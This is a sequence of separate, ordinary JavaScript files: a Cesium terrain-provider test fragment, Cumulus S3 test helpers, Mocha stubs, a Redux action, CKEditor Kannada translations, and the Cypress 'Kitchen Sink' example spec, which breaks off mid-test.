ArcGISTiledElevationTerrainProvider({ url : baseUrl }); return terrainProvider.readyPromise .then(fail) .otherwise(function(error) { expect(error).toBeInstanceOf(RuntimeError); }); }); it('raises an error if tileInfo missing', function() { var baseUrl = 'made/up/url'; delete metadata.tileInfo; var terrainProvider = new ArcGISTiledElevationTerrainProvider({ url : baseUrl }); return terrainProvider.readyPromise .then(fail) .otherwise(function(error) { expect(error).toBeInstanceOf(RuntimeError); }); }); it('checks availability if TileMap capability exists', function() { var baseUrl = 'made/up/url'; var terrainProvider = new ArcGISTiledElevationTerrainProvider({ url : baseUrl }); return pollToPromise(function() { return terrainProvider.ready; }).then(function() { expect(terrainProvider._hasAvailability).toBe(true); expect(terrainProvider._tilesAvailable).toBeDefined(); expect(terrainProvider._tilesAvailablityLoaded).toBeDefined(); }); }); it('does not check availability if TileMap capability is missing', function() { var baseUrl = 'made/up/url'; metadata.capabilities = 'Image,Mensuration'; var terrainProvider = new ArcGISTiledElevationTerrainProvider({ url : baseUrl }); return pollToPromise(function() { return terrainProvider.ready; }).then(function() { expect(terrainProvider._hasAvailability).toBe(false); expect(terrainProvider._tilesAvailable).toBeUndefined(); expect(terrainProvider._tilesAvailablityLoaded).toBeUndefined(); }); }); describe('requestTileGeometry', function() { it('must not be called before isReady returns true', function() { var terrainProvider = new ArcGISTiledElevationTerrainProvider({ url : 'made/up/url', proxy : new DefaultProxy('/proxy/') }); expect(function() { terrainProvider.requestTileGeometry(0, 0, 0); }).toThrowDeveloperError(); }); it('provides HeightmapTerrainData', function() { var baseUrl = 'made/up/url'; var terrainProvider = new ArcGISTiledElevationTerrainProvider({ url : baseUrl }); return pollToPromise(function() { return terrainProvider.ready; }).then(function() { var promise = terrainProvider.requestTileGeometry(0, 0, 0); RequestScheduler.update(); return promise; }).then(function(loadedData) { expect(loadedData).toBeInstanceOf(HeightmapTerrainData); }); }); it('returns undefined if too many requests are already in progress', function() { var baseUrl = 'made/up/url'; var deferreds = []; Resource._Implementations.createImage = function(url, crossOrigin, deferred) { // Do nothing, so requests never complete deferreds.push(deferred); }; var terrainProvider = new ArcGISTiledElevationTerrainProvider({ url : baseUrl }); return pollToPromise(function() { return terrainProvider.ready; }).then(function() { var promise; var i; for (i = 0; i < RequestScheduler.maximumRequestsPerServer; ++i) { promise = terrainProvider.requestTileGeometry(0, 0, 0, createRequest()); } RequestScheduler.update(); expect(promise).toBeDefined(); promise = terrainProvider.requestTileGeometry(0, 0, 0, createRequest()); expect(promise).toBeUndefined(); for (i = 0; i < deferreds.length; ++i) { deferreds[i].resolve(); } }); }); }); }); });
'use strict'; const fs = require('fs-extra'); const { aws: { buildS3Uri, parseS3Uri, s3 }, stringUtils: { replace }, testUtils: { randomStringFromRegex } } = require('@cumulus/common'); const { thread } = require('@cumulus/common/util'); const path = require('path'); const cloneDeep = require('lodash.clonedeep'); /** * Adds updated url_path to a granule files object * * @param {Array<Object>} files - array of granule files * @param {string} testId - Test ID to insert into url_path per-granule * @param {string} collectionUrlPath - collection * @returns {Array<Object>} the files with updated url_path values */ const addUrlPathToGranuleFiles = (files, testId, collectionUrlPath) => files.map((file) => { const updatedUrlPath = file.url_path === undefined ? collectionUrlPath : `${file.url_path}/`; return { ...file, url_path: `${updatedUrlPath}${testId}/` }; }); /** * Add test-unique filepath to granule file filepath/filenames * * @param {Array<Object>} granules - Array of granules with files to be updated * @param {string} filePath - Filepath to add * @returns {Array<Object>} Updates granules array */ function addUniqueGranuleFilePathToGranuleFiles(granules, filePath) { const updatedGranules = granules.map((originalGranule) => { const granule = cloneDeep(originalGranule); granule.files = granule.files.map((originalFile) => { const file = cloneDeep(originalFile); const { Bucket, Key } = parseS3Uri(file.filename); const { base, dir } = path.parse(Key); const updateKey = `${dir}/${filePath}/${base}`; const filename = buildS3Uri(Bucket, updateKey); file.filename = filename; file.filepath = updateKey; return file; }); return granule; }); return updatedGranules; } /** * Create test granule files by copying current granule files and renaming * with new granule id * * @param {Array<Object>} granuleFiles - array of granule file object * @param {string} bucket - source/destination bucket * @param {string} oldGranuleId - granule id of files to copy * @param {string} newGranuleId - new granule id * @returns {Promise<Array>} - AWS S3 copyObject responses */ function createGranuleFiles(granuleFiles, bucket, oldGranuleId, newGranuleId) { const copyFile = (file) => s3().copyObject({ Bucket: bucket, CopySource: `${bucket}/${file.path}/${file.name}`, Key: `${file.path}/${file.name.replace(oldGranuleId, newGranuleId)}` }).promise() .catch((err) => { console.error(`Failed to copy s3://${bucket}/${file.path}/${file.name} to s3://${bucket}/${file.path}/${file.name.replace(oldGranuleId, newGranuleId)}: ${err.message}`); throw err; }); return Promise.all(granuleFiles.map(copyFile)); } /** * Set up files in the S3 data location for a new granule to use for this * test. Use the input payload to determine which files are needed and * return updated input with the new granule id. * * @param {string} bucket - data bucket * @param {string} inputPayloadJson - input payload as a JSON string * @param {string} granuleRegex - regex to generate the new granule id * @param {string} testSuffix - suffix for test-specific collection * @param {string} testDataFolder - test data S3 path * @returns {Promise<Object>} - input payload as a JS object with the updated granule ids */ async function setupTestGranuleForIngest(bucket, inputPayloadJson, granuleRegex, testSuffix = '', testDataFolder = null) { let payloadJson; if (testDataFolder) { payloadJson = replace( new RegExp('cumulus-test-data/pdrs', 'g'), testDataFolder, inputPayloadJson ); } else { payloadJson = inputPayloadJson; } const baseInputPayload = JSON.parse(payloadJson); const oldGranuleId = baseInputPayload.granules[0].granuleId; baseInputPayload.granules[0].dataType += testSuffix; const newGranuleId = randomStringFromRegex(granuleRegex); if (baseInputPayload.pdr && baseInputPayload.pdr.name) { baseInputPayload.pdr.name += testSuffix; } await createGranuleFiles( baseInputPayload.granules[0].files, bucket, oldGranuleId, newGranuleId ); return thread( baseInputPayload, JSON.stringify, replace(new RegExp(oldGranuleId, 'g'), newGranuleId), JSON.parse ); } /** * Read the file, update it with the new granule id, path, collectionId, and * stackId, and return the file as a JS object. * * @param {string} filename - file path * @param {string} newGranuleId - new granule id * @param {string} newPath - the new data path * @param {string} newCollectionId - the new collection id * @param {stackId} stackId - the new stack id * @returns {Promise<Object>} - file as a JS object */ const loadFileWithUpdatedGranuleIdPathAndCollection = ( filename, newGranuleId, newPath, newCollectionId, stackId ) => thread( fs.readFileSync(filename, 'utf8'), replace(new RegExp('replace-me-granuleId', 'g'), newGranuleId), replace(new RegExp('replace-me-path', 'g'), newPath), replace(new RegExp('replace-me-collectionId', 'g'), newCollectionId), replace(new RegExp('replace-me-stackId', 'g'), stackId), JSON.parse ); module.exports = { addUniqueGranuleFilePathToGranuleFiles, addUrlPathToGranuleFiles, loadFileWithUpdatedGranuleIdPathAndCollection, setupTestGranuleForIngest };
'use strict' // const assert = require('assert') describe('generic-nmi', () => { before(() => {}) })
import { APIRequest } from '.'; import { updatePersonalDetailSuccess, updatePersonalDetailFailure, } from '../reducers/user'; const UPDATE_PERSONALDETAIL = '/api/employee/updatePersonalDetails'; export function updatePersonalDetails(personalEmail, phone) { return dispatch => { const options = { method: 'put', url: UPDATE_PERSONALDETAIL, data: { personalEmail, phone }, }; APIRequest(options, true) .then(res => { window.location.href = '/plan'; dispatch(updatePersonalDetailSuccess(res.data)); }) .catch(err => { dispatch(updatePersonalDetailFailure(err)); }); }; }
'use strict'; // Test a simple sum module using Mocha const sum = require('../tested/sum.js'); describe('abacus-mocha', () => { it('supports Chai expect assertions', () => { expect(sum.straight(1, 1)).to.equal(2); }); it('tests branch coverage', (done) => { expect(sum.cond(1, 1)).to.equal(2); expect(sum.ifelse(1, 1)).to.equal(2); done(); }); });
(function(d){d['kn']=Object.assign(d['kn']||{},{a:"Cannot upload file:",b:"Image toolbar",c:"Table toolbar",d:"‍‍ದಪ್ಪ",e:"Insert image or file",f:"‍‍‍‍ಗುರುತಿಸಲಾದ ‍‍ಉಲ್ಲೇಖ",g:"ಶೀರ್ಷಿಕೆ ಆಯ್ಕೆಮಾಡು",h:"ಶೀರ್ಷಿಕೆ",i:"‍ಚಿತ್ರ ವಿಜೆಟ್",j:"‍ಚಿತ್ರದ ಶೀರ್ಷಿಕೆ ಸೇರಿಸು",k:"‍ಪೂರ್ಣ ‍‍ಅಳತೆಯ ಚಿತ್ರ",l:"‍ಪಕ್ಕದ ಚಿತ್ರ",m:"Left aligned image",n:"Centered image",o:"Right aligned image",p:"Insert image",q:"Upload failed",r:"Increase indent",s:"Decrease indent",t:"‍ಕೊಂಡಿ",u:"‍ಸಂಖ್ಯೆಯ ಪಟ್ಟಿ‍",v:"‍‍ಬುಲೆಟ್ ಪಟ್ಟಿ",w:"media widget",x:"Insert media",y:"The URL must not be empty.",z:"This media URL is not supported.",aa:"Insert table",ab:"Header column",ac:"Insert column left",ad:"Insert column right",ae:"Delete column",af:"Column",ag:"Header row",ah:"Insert row below",ai:"Insert row above",aj:"Delete row",ak:"Row",al:"Merge cell up",am:"Merge cell right",an:"Merge cell down",ao:"Merge cell left",ap:"Split cell vertically",aq:"Split cell horizontally",ar:"Merge cells",as:"‍ಇಟಾಲಿಕ್",at:"Upload in progress",au:"Widget toolbar",av:"Could not obtain resized image URL.",aw:"Selecting resized image failed",ax:"Could not insert image at the current position.",ay:"Inserting image failed",az:"‍ಚಿತ್ರದ ಬದಲಿ ಪಠ್ಯ ಬದಲಾಯಿಸು",ba:"Editor toolbar",bb:"Show more items",bc:"Dropdown toolbar",bd:"‍ಸಮೃದ್ಧ ಪಠ್ಯ ಸಂಪಾದಕ‍‍",be:"‍ಸಮೃದ್ಧ ಪಠ್ಯ ಸಂಪಾದಕ‍, %0",bf:"%0 of %1",bg:"Previous",bh:"Next",bi:"ಉಳಿಸು",bj:"ರದ್ದುಮಾಡು",bk:"‍ಪಠ್ಯದ ಬದಲಿ",bl:"‍‍ರದ್ದು",bm:"‍ಮತ್ತೆ ಮಾಡು",bn:"Open in a new tab",bo:"Downloadable",bp:"Paste the media URL in the input.",bq:"Tip: Paste the URL into the content to embed faster.",br:"Media URL",bs:"‍ಕೊಂಡಿ ತೆಗೆ",bt:"Edit link",bu:"Open link in new tab",bv:"This link has no URL",bw:"‍ಕೊಂಡಿ ಸಂಪರ್ಕಿಸು",bx:"ಪ್ಯಾರಾಗ್ರಾಫ್",by:"ಶೀರ್ಷಿಕೆ 1",bz:"ಶೀರ್ಷಿಕೆ 2",ca:"ಶೀರ್ಷಿಕೆ 3",cb:"Heading 4",cc:"Heading 5",cd:"Heading 6"})})(window.CKEDITOR_TRANSLATIONS||(window.CKEDITOR_TRANSLATIONS={}));
// **** Kitchen Sink Tests **** // // This app was developed to demonstrate // how to write tests in Cypress utilizing // all of the available commands // // Feel free to modify this spec in your // own application as a jumping off point // Please read our "Introduction to Cypress" // https://on.cypress.io/introduction-to-cypress describe('Kitchen Sink', function () { it('.should() - assert that <title> is correct', function () { // https://on.cypress.io/visit cy.visit('https://example.cypress.io') // Here we've made our first assertion using a '.should()' command. // An assertion is comprised of a chainer, subject, and optional value. // https://on.cypress.io/should // https://on.cypress.io/and // https://on.cypress.io/title cy.title().should('include', 'Kitchen Sink') // ↲ ↲ ↲ // subject chainer value }) context('Querying', function () { beforeEach(function () { // Visiting our app before each test removes any state build up from // previous tests. Visiting acts as if we closed a tab and opened a fresh one cy.visit('https://example.cypress.io/commands/querying') }) // Let's query for some DOM elements and make assertions // The most commonly used query is 'cy.get()', you can // think of this like the '$' in jQuery it('cy.get() - query DOM elements', function () { // https://on.cypress.io/get // Get DOM elements by id cy.get('#query-btn').should('contain', 'Button') // Get DOM elements by class cy.get('.query-btn').should('contain', 'Button') cy.get('#querying .well>button:first').should('contain', 'Button') // ↲ // Use CSS selectors just like jQuery }) it('cy.contains() - query DOM elements with matching content', function () { // https://on.cypress.io/contains cy.get('.query-list').contains('bananas').should('have.class', 'third') // we can pass a regexp to `.contains()` cy.get('.query-list').contains(/^b\w+/).should('have.class', 'third') cy.get('.query-list').contains('apples').should('have.class', 'first') // passing a selector to contains will yield the selector containing the text cy.get('#querying') .contains('ul', 'oranges') .should('have.class', 'query-list') // `.contains()` will favor input[type='submit'], // button, a, and label over deeper elements inside them // this will not yield the <span> inside the button, // but the <button> itself cy.get('.query-button').contains('Save Form').should('have.class', 'btn') }) it('.within() - query DOM elements within a specific element', function () { // https://on.cypress.io/within cy.get('.query-form').within(function () { cy.get('input:first').should('have.attr', 'placeholder', 'Email') cy.get('input:last').should('have.attr', 'placeholder', 'Password') }) }) it('cy.root() - query the root DOM element', function () { // https://on.cypress.io/root // By default, root is the document cy.root().should('match', 'html') cy.get('.query-ul').within(function () { // In this within, the root is now the ul DOM element cy.root().should('have.class', 'query-ul') }) }) }) context('Traversal', function () { beforeEach(function () { cy.visit('https://example.cypress.io/commands/traversal') }) // Let's query for some DOM elements and make assertions it('.children() - get child DOM elements', function () { // https://on.cypress.io/children cy.get('.traversal-breadcrumb') .children('.active') .should('contain', 'Data') }) it('.closest() - get closest ancestor DOM element', function () { // https://on.cypress.io/closest cy.get('.traversal-badge') .closest('ul') .should('have.class', 'list-group') }) it('.eq() - get a DOM element at a specific index', function () { // https://on.cypress.io/eq cy.get('.traversal-list>li').eq(1).should('contain', 'siamese') }) it('.filter() - get DOM elements that match the selector', function () { // https://on.cypress.io/filter cy.get('.traversal-nav>li').filter('.active').should('contain', 'About') }) it('.find() - get descendant DOM elements of the selector', function () { // https://on.cypress.io/find cy.get('.traversal-pagination') .find('li') .find('a') .should('have.length', 7) }) it('.first() - get first DOM element', function () { // https://on.cypress.io/first cy.get('.traversal-table td').first().should('contain', '1') }) it('.last() - get last DOM element', function () { // https://on.cypress.io/last cy.get('.traversal-buttons .btn').last().should('contain', 'Submit') }) it('.next() - get next sibling DOM element', function () { // https://on.cypress.io/next cy.get('.traversal-ul') .contains('apples') .next() .should('contain', 'oranges') }) it('.nextAll() - get all next sibling DOM elements', function () { // https://on.cypress.io/nextall cy.get('.traversal-next-all') .contains('oranges') .nextAll() .should('have.length', 3) }) it('.nextUntil() - get next sibling DOM elements until next el', function () { // https://on.cypress.io/nextuntil cy.get('#veggies').nextUntil('#nuts').should('have.length', 3) }) it('.not() - remove DOM elements from set of DOM elements', function () { // https://on.cypress.io/not cy.get('.traversal-disabled .btn') .not('[disabled]') .should('not.contain', 'Disabled') }) it('.parent() - get parent DOM element from DOM elements', function () { // https://on.cypress.io/parent cy.get('.traversal-mark').parent().should('contain', 'Morbi leo risus') }) it('.parents() - get parent DOM elements from DOM elements', function () { // https://on.cypress.io/parents cy.get('.traversal-cite').parents().should('match', 'blockquote') }) it('.parentsUntil() - get parent DOM elements from DOM elements until el', function () { // https://on.cypress.io/parentsuntil cy.get('.clothes-nav') .find('.active') .parentsUntil('.clothes-nav') .should('have.length', 2) }) it('.prev() - get previous sibling DOM element', function () { // https://on.cypress.io/prev cy.get('.birds').find('.active').prev().should('contain', 'Lorikeets') }) it('.prevAll() - get all previous sibling DOM elements', function () { // https://on.cypress.io/prevAll cy.get('.fruits-list').find('.third').prevAll().should('have.length', 2) }) it('.prevUntil() - get all previous sibling DOM elements until el', function () { // https://on.cypress.io/prevUntil cy.get('.foods-list').find('#nuts').prevUntil('#veggies') }) it('.siblings() - get all sibling DOM elements', function () { // https://on.cypress.io/siblings cy.get('.traversal-pills .active').siblings().should('have.length', 2) }) }) context('Actions', function () { beforeEach(function () { cy.visit('https://example.cypress.io/commands/actions') }) // Let's perform some actions on DOM elements // https://on.cypress.io/interacting-with-elements it('.type() - type into a DOM element', function () { // https://on.cypress.io/type cy.get('.action-email') .type('fake@email.com') .should('have.value', 'fake@email.com') // .type() with special character sequences .type('{leftarrow}{rightarrow}{uparrow}{downarrow}') .type('{del}{selectall}{backspace}') // .type() with key modifiers .type('{alt}{option}') //these are equivalent .type('{ctrl}{control}') //these are equivalent .type('{meta}{command}{cmd}') //these are equivalent .type('{shift}') // Delay each keypress by 0.1 sec .type('slow.typing@email.com', { delay: 100 }) .should('have.value', 'slow.typing@email.com') cy.get('.action-disabled') // Ignore error checking prior to type // like whether the input is visible or disabled .type('disabled error checking', { force: true }) .should('have.value', 'disabled error checking') }) it('.focus() - focus on a DOM element', function () { // https://on.cypress.io/focus cy.get('.action-focus') .focus() .should('have.class', 'focus') .prev() .should('have.attr', 'style', 'color: orange;') }) it('.blur() - blur off a DOM element', function () { // https://on.cypress.io/blur cy.get('.action-blur') .type("I'm about to blur") .blur() .should('have.class', 'error') .prev() .should('have.attr', 'style', 'color: red;') }) it('.clear() - clears an input or textarea element', function () { // https://on.cypress.io/clear cy.get('.action-clear') .type('We are going to clear this text') .should('have.value', 'We are going to clear this text') .clear() .should('have.value', '') }) it('.submit() - submit a form', function () { // https://on.cypress.io/submit cy.get('.action-form').find('[type="text"]').type('HALFOFF') cy.get('.action-form') .submit() .next() .should('contain', 'Your form has been submitted!') }) it('.click() - click on a DOM element', function () { // https://on.cypress.io/click cy.get('.action-btn').click() // You can click on 9 specific positions of an element: // ----------------------------------- // | topLeft top topRight | // | | // | | // | | // | left center right | // | | // | | // | | // | bottomLeft bottom bottomRight | // ----------------------------------- // clicking in the center of the element is the default cy.get('#action-canvas').click() cy.get('#action-canvas').click('topLeft') cy.get('#action-canvas').click('top') cy.get('#action-canvas').click('topRight') cy.get('#action-canvas').click('left') cy.get('#action-canvas').click('right') cy.get('#action-canvas').click('bottomLeft') cy.get('#action-canvas').click('bottom') cy.get('#action-canvas').click('bottomRight') // .click() accepts an x and y coordinate // that controls where the click occurs :) cy.get('#action-canvas') .click(80, 75) // click 80px on x coord and 75px on y coord .click(170, 75) .click(80, 165) .click(100, 185) .click(125, 190) .click(150, 185) .click(170, 165) // click multiple elements by passing multiple: true cy.get('.action-labels>.label').click({ multiple: true }) // Ignore error checking prior to clicking // like whether the element is visible, clickable or disabled // this button below is covered by another element. cy.get('.action-opacity>.btn').click({ force: true }) }) it('.dblclick() - double click on a DOM element', function () { // Our app has a listener on 'dblclick' event in our 'scripts.js' // that hides the div and shows an input on double click // https://on.cypress.io/dblclick cy.get('.action-div').dblclick().should('not.be.visible') cy.get('.action-input-hidden').should('be.visible') }) it('cy.check() - check a checkbox or radio element', function () { // By default, .check() will check all // matching checkbox or radio elements in succession, one after another // https://on.cypress.io/check cy.get('.action-checkboxes [type="checkbox"]') .not('[disabled]') .check() .should('be.checked') cy.get('.action-radios [type="radio"]') .not('[disabled]') .check() .should('be.checked') // .check() accepts a value argument // that checks only checkboxes or radios // with matching values cy.get('.action-radios [type="radio"]') .check('radio1') .should('be.checked') // .check() accepts an array of values // that checks only checkboxes or radios // with matching values cy.get('.action-multiple-checkboxes [type="checkbox"]') .check(['checkbox1', 'checkbox2']) .should('be.checked') // Ignore error checking prior to checking // like whether the element is visible, clickable or disabled // this checkbox below is disabled. cy.get('.action-checkboxes [disabled]') .check({ force: true }) .should('be.checked') cy.get('.action-radios [type="radio"]') .check('radio3', { force: true }) .should('be.checked') }) it('.uncheck() - uncheck a checkbox element', function () { // By default, .uncheck() will uncheck all matching // checkbox elements in succession, one after another // https://on.cypress.io/uncheck cy.get('.action-check [type="checkbox"]') .not('[disabled]') .uncheck() .should('not.be.checked') // .uncheck() accepts a value argument // that unchecks only checkboxes // with matching values cy.get('.action-check [type="checkbox"]') .check('checkbox1') .uncheck('checkbox1') .should('not.be.checked') // .uncheck() accepts an array of values // that unchecks only checkboxes or radios // with matching values cy.get('.action-check [type="checkbox"]') .check(['checkbox1', 'checkbox3']) .uncheck(['checkbox1', 'checkbox3']) .should('not.be.checked') // Ignore error checking prior to unchecking // like whether the element is visible, clickable or disabled // this checkbox below is disabled. cy.get('.action-check [disabled]') .uncheck({ force: true }) .should('not.be.checked') }) it('.select() - select an option in a <select> element', function () { // https://on.cypress.io/select // Select option with matching text content cy.get('.action-select').select('apples') // Select option with matching value cy.get('.action-select').select('fr-bananas') // Select options with matching text content cy.get('.action-select-multiple').select(['apples', 'oranges', 'bananas']) // Select options with matching values cy.get('.action-select-multiple').select([ 'fr-apples', 'fr-oranges', 'fr-bananas', ]) }) it('.scrollIntoView() - scroll an element into view', function () { // https://on.cypress.io/scrollintoview // normally all of these buttons are hidden, because they're not within // the viewable area of their parent (we need to scroll to see them) cy.get('#scroll-horizontal button').should('not.be.visible') // scroll the button into view, as if the user had scrolled cy.get('#scroll-horizontal button').scrollIntoView().should('be.visible') cy.get('#scroll-vertical button').should('not.be.visible') // Cypress handles the scroll direction needed cy.get('#scroll-vertical button').scrollIntoView().should('be.visible') cy.get('#scroll-both button').should('not.be.visible') // Cypress knows to scroll to the right and down cy.get('#scroll-both button').scrollIntoView().should('be.visible') }) it('cy.scrollTo() - scroll the window or element to a position', function () { // https://on.cypress.io/scrollTo // You can scroll to 9 specific positions of an element: // ----------------------------------- // | topLeft top topRight | // | | // | | // | | // | left center right | // | | // | | // | | // | bottomLeft bottom bottomRight | // ----------------------------------- // if you chain .scrollTo() off of cy, we will // scroll the entire window cy.scrollTo('bottom') cy.get('#scrollable-horizontal').scrollTo('right') // or you can scroll to a specific coordinate: // (x axis, y axis) in pixels cy.get('#scrollable-vertical').scrollTo(250, 250) // or you can scroll to a specific percentage // of the (width, height) of the element cy.get('#scrollable-both').scrollTo('75%', '25%') // control the easing of the scroll (default is 'swing') cy.get('#scrollable-vertical').scrollTo('center', { easing: 'linear' }) // control the duration of the scroll (in ms) cy.get('#scrollable-both').scrollTo('center', { duration: 2000 }) }) it('.trigger() - trigger an event on a DOM element', function () { // To interact with a range input (slider), we need to set its value and // then trigger the appropriate event to signal it has changed // Here, we invoke jQuery's val() method to set the value // and trigger the 'change' event // Note that some implementations may rely on the 'input' event, // which is fired as a user moves the slider, but is not supported // by some browsers // https://on.cypress.io/trigger cy.get('.trigger-input-range') .invoke('val', 25) .trigger('change') .get('input[type=range]') .siblings('p') .should('have.text', '25') // See our example recipes for more examples of using trigger // https://on.cypress.io/examples }) }) context('Window', function () { beforeEach(function () { cy.visit('https://example.cypress.io/commands/window') }) it('cy.window() - get the global window object', function () { // https://on.cypress.io/window cy.window().should('have.property', 'top') }) it('cy.document() - get the document object', function () { // https://on.cypress.io/document cy.document().should('have.property', 'charset').and('eq', 'UTF-8') }) it('cy.title() - get the title', function () { // https://on.cypress.io/title cy.title().should('include', 'Kitchen Sink') }) }) context('Viewport', function () { beforeEach(function () { cy.visit('https://example.cypress.io/commands/viewport') }) it('cy.viewport() - set the viewport size and dimension', function () { cy.get('#navbar').should('be.visible') // https://on.cypress.io/viewport cy.viewport(320, 480) // the navbar should have collapse since our screen is smaller cy.get('#navbar').should('not.be.visible') cy.get('.navbar-toggle').should('be.visible').click() cy.get('.nav').find('a').should('be.visible') // lets see what our app looks like on a super large screen cy.viewport(2999, 2999) // cy.viewport() accepts a set of preset sizes // to easily set the screen to a device's width and height // We added a cy.wait() between each viewport change so you can see // the change otherwise it's a little too fast to see :) cy.viewport('macbook-15') cy.wait(200) cy.viewport('macbook-13') cy.wait(200) cy.viewport('macbook-11') cy.wait(200) cy.viewport('ipad-2') cy.wait(200) cy.viewport('ipad-mini') cy.wait(200) cy.viewport('iphone-6+') cy.wait(200) cy.viewport('iphone-6') cy.wait(200) cy.viewport('iphone-5') cy.wait(200) cy.viewport('iphone-4') cy.wait(200) cy.viewport('iphone-3') cy.wait(200) // cy.viewport() accepts an orientation for all presets // the default orientation is 'portrait' cy.viewport('ipad-2', 'portrait') cy.wait(200) cy.viewport('iphone-4', 'landscape') cy.wait(200) // The viewport will be reset back to the default dimensions // in between tests (the default is set in cypress.json) }) }) context('Location', function () { beforeEach(function () { cy.visit('https://example.cypress.io/commands/location') }) // We look at the url to make assertions // about the page's state it('cy.hash() - get the current URL hash', function () { // https://on.cypress.io/hash cy.hash().should('be.empty') }) it('cy.location() - get window.location', function () { // https://on.cypress.io/location cy.location().should(function (location) { expect(location.hash).to.be.empty expect(location.href).to.eq( 'https://example.cypress.io/commands/location', ) expect(location.host).to.eq('example.cypress.io') expect(location.hostname).to.eq('example.cypress.io') expect(location.origin).to.eq('https://example.cypress.io') expect(location.pathname).to.eq('/commands/location') expect(location.port).to.eq('') expect(location.protocol).to.eq('https:') expect(location.search).to.be.empty }) }) it('cy.url() - get the current URL', function () { // https://on.cypress.io/url cy.url().should('eq', 'https://example.cypress.io/commands/location') }) }) context('Navigation', function () { beforeEach(function () { cy.visit('https://example.cypress.io') cy.get('.navbar-nav').contains('Commands').click() cy.get('.dropdown-menu').contains('Navigation').click() }) it("cy.go() - go back or forward in the browser's history", function () { cy.location('pathname').should('include', 'navigation') // https://on.cypress.io/go cy.go('back') cy.location('pathname').should('not.include', 'navigation') cy.go('forward') cy.location('pathname').should('include', 'navigation') // equivalent to clicking back cy.go(-1) cy.location('pathname').should('not.include', 'navigation') // equivalent to clicking forward cy.go(1) cy.location('pathname').should('include', 'navigation') }) it('cy.reload() - reload the page', function () { // https://on.cypress.io/reload cy.reload() // reload the page without using the cache cy.reload(true) }) it('cy.visit() - visit a remote url', function () { // Visit any sub-domain of your current domain // https://on.cypress.io/visit // Pass options to the visit cy.visit('https://example.cypress.io/commands/navigation', { timeout: 50000, // increase total time for the visit to resolve onBeforeLoad(contentWindow) { // contentWindow is the remote page's window object }, onLoad(contentWindow) { // contentWindow is the remote page's window object }, }) }) }) context('Assertions', function () { beforeEach(function () { cy.visit('https://example.cypress.io/commands/assertions') }) describe('Implicit Assertions', function () { it('.should() - make an assertion about the current subject', function () { // https://on.cypress.io/should cy.get('.assertion-table') .find('tbody tr:last') .should('have.class', 'success') }) it('.and() - chain multiple assertions together', function () { // https://on.cypress.io/and cy.get('.assertions-link') .should('have.class', 'active') .and('have.attr', 'href') .and('include', 'cypress.io') }) }) describe('Explicit Assertions', function () { // https://on.cypress.io/assertions it('expect - assert shape of an object', function () { const person = { name: 'Joe', age: 20, } expect(person).to.have.all.keys('name', 'age') }) it('expect - make an assertion about a specified subject', function () { // We can use Chai's BDD style assertions expect(true).to.be.true // Pass a function to should that can have any number // of explicit assertions within it. cy.get('.assertions-p') .find('p') .should(function ($p) { // return an array of texts from all of the p's let texts = $p.map(function (i, el) { // https://on.cypress.io/$ return Cypress.$(el).text() }) // jquery map returns jquery object // and .get() convert this to simple array texts = texts.get() // array should have length of 3 expect(texts).to.have.length(3) // set this specific subject expect(texts).to.deep.eq([ 'Some text from first p', 'More text from second p', 'And even more text from third p', ]) }) }) }) }) context('Misc', function () { beforeEach(function () { cy.visit('https://example.cypress.io/commands/misc') }) it('.end() - end the command chain', function () { // cy.end is useful when you want to end a chain of commands // and force Cypress to re-query from the root element // https://on.cypress.io/end cy.get('.misc-table').within(function () { // ends the current chain and yields null cy.contains('Cheryl').click().end() // queries the entire table again cy.contains('Charles').click() }) }) it('cy.exec() - execute a system command', function () { // cy.exec allows you to execute a system command. // so you can take actions necessary for your test, // but outside the scope of Cypress. // https://on.cypress.io/exec cy.exec('echo Jane Lane').its('stdout').should('contain', 'Jane Lane') // we can use Cypress.platform string to // select appropriate command // https://on.cypress/io/platform cy.log(`Platform ${Cypress.platform} architecture ${Cypress.arch}`) if (Cypress.platform === 'win32') { cy.exec('print cypress.json').its('stderr').should('be.empty') } else { cy.exec('cat cypress.json').its('stderr').should('be.empty') cy.exec('pwd').its('code').should('eq', 0) } }) it('cy.focused() - get the DOM element that has focus', function () { // https://on.cypress.io/focused cy.get('.misc-form').find('#name').click() cy.focused().should('have.id', 'name') cy.get('.misc-form').find('#description').click() cy.focused().should('have.id', 'description') }) it('cy.screenshot() - take a screenshot', function () { // https://on.cypress.io/screenshot cy.screenshot('my-image') }) it('cy.wrap() - wrap an object', function () { // https://on.cypress.io/wrap cy.wrap({ foo: 'bar' }) .should('have.property', 'foo') .and('include', 'bar') }) }) context('Connectors', function () { beforeEach(function () { cy.visit('https://example.cypress.io/commands/connectors') }) it('.each() - iterate over an array of elements', function () { // https://on.cypress.io/each cy.get('.connectors-each-ul>li').each(function ($el, index, $list) { console.log($el, index, $list) }) }) it('.its() - get properties on the current subject', function () { // https://on.cypress.io/its cy.get('.connectors-its-ul>li') // calls the 'length' property yielding that value .its('length') .should('be.gt', 2) }) it('.invoke() - invoke a function on the current subject', function () { // our div is hidden in our script.js // $('.connectors-div').hide() // https://on.cypress.io/invoke cy.get('.connectors-div') .should('be.hidden') // call the jquery method 'show' on the 'div.container' .invoke('show') .should('be.visible') }) it('.spread() - spread an array as individual args to callback function', function () { // https://on.cypress.io/spread let arr = ['foo', 'bar', 'baz'] cy.wrap(arr).spread(function (foo, bar, baz) { expect(foo).to.eq('foo') expect(bar).to.eq('bar') expect(baz).to.eq('baz') }) }) it('.then() - invoke a callback function with the current subject', function () { // https://on.cypress.io/then cy.get('.connectors-list>li').then(function ($lis) { expect($lis).to.have.length(3) expect($lis.eq(0)).to.contain('Walk the dog') expect($lis.eq(1)).to.contain('Feed the cat') expect($lis.eq(2)).to.contain('Write JavaScript') }) }) }) context('Aliasing', function () { beforeEach(function () { cy.visit('https://example.cypress.io/commands/aliasing') }) // We alias a DOM element for use later // We don't have to traverse to the element // later in our code, we just reference it with @ it('.as() - alias a route or DOM element for later use', function () { // this is a good use case for an alias, // we don't want to write this long traversal again // https://on.cypress.io/as cy.get('.as-table') .find('tbody>tr') .first() .find('td') .first() .find('button') .as('firstBtn') // maybe do some more testing here... // when we reference the alias, we place an // @ in front of it's name cy.get('@firstBtn').click() cy.get('@firstBtn') .should('have.class', 'btn-success') .and('contain', 'Changed') }) }) context('Waiting', function () { beforeEach(function () { cy.visit('https://example.cypress.io/commands/waiting') }) // BE CAREFUL of adding unnecessary wait times. // https://on.cypress.io/wait it('cy.wait() - wait for a specific amount of time', function () { cy.get('.wait-input1').type('Wait 1000ms after typing') cy.wait(1000) cy.get('.wait-input2').type('Wait 1000ms after typing') cy.wait(1000) cy.get('.wait-input3').type('Wait 1000ms after typing') cy.wait(1000) }) // Waiting 